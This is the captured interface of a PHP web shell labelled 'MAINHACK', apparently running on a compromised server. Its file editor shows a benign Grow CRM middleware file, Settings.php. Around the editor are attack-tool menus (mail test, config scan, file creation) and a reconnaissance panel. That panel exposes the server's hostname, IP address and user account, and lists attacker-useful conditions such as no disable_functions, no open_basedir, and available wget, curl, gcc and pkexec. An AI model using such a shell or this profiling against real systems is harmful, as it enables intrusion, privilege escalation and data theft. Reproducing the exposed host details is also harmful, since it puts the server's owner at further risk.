[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Settings.php
<?php /** --------------------------------------------------------------------------------------------------------------- * The purpose of this middleware it to set fallback config values * for older versions of Grow CRM that are upgrading. Reason being that new * values in the file /config/settings.php will not exist for them (as settings files in not included in updates) * * * * @package Grow CRM * @author NextLoop * @revised 9 July 2021 *--------------------------------------------------------------------------------------------------------------*/ namespace App\Http\Middleware\General; use Closure; class Settings { /** * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { /** * how many rows to show in settings. Defaults to a hard set value, if not present * fallback value: 5 */ config(['settings.custom_fields_display_limit' => config('settings.custom_fields_display_limit') ?? 5]); /** * set task statuses */ if (env('SETUP_STATUS') == 'COMPLETED') { $statuses = \App\Models\TaskStatus::orderBy('taskstatus_position', 'ASC')->get(); config(['task_statuses' => $statuses]); $arr = []; foreach ($statuses as $status) { $arr[] = $status->taskstatus_id; } config(['task_statuses_array' => $arr]); } /** * set task priorities */ if (env('SETUP_STATUS') == 'COMPLETED') { $priorities = \App\Models\TaskPriority::orderBy('taskpriority_position', 'ASC')->get(); config(['task_priorities' => $priorities]); $arr = []; foreach ($priorities as $priority) { $arr[] = $priority->taskpriority_id; } config(['task_priorities_array' => $arr]); } return $next($request); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002